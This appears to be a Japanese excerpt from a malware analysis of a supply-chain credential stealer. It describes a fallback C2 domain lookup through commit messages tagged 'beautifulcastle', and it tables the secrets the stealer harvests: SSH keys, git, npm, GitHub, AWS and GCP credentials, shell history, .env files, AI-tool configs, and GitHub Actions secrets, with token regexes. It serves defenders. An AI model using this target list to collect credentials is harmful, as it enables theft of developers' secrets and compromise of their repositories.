コミットメッセージ(フォールバック C2 ドメイン取得用) beautifulcastle <base64>.<base64>

ターゲット(漏洩候補)

種別 具体的パス等
SSH ~/.ssh/id_rsa, id_ed25519, id_ecdsa, id_dsa, id_*, known_hosts, authorized_keys
Git ~/.gitconfig, ~/.git-credentials
シェル履歴 ~/.bash_history, ~/.zsh_history, ~/.sh_history
npm ~/.npmrc, プロジェクト直下 .npmrc, npm_[A-Za-z0-9]{36,} 環境変数
GitHub ghp_[A-Za-z0-9]{36}, gho_..., gh auth token
AWS ~/.aws/credentials, ~/.aws/config
GCP ~/.config/gcloud/credentials.db
シークレットファイル .env
AI ツール ~/.claude.json, ~/.kiro/settings/mcp.json, Cursor MCP 設定, codex CLI 関連、aider 関連
GitHub Actions GITHUB_ACTIONS=true 検出時、gh auth token 取得 → 全アクセス可能 repo の Actions Secrets を列挙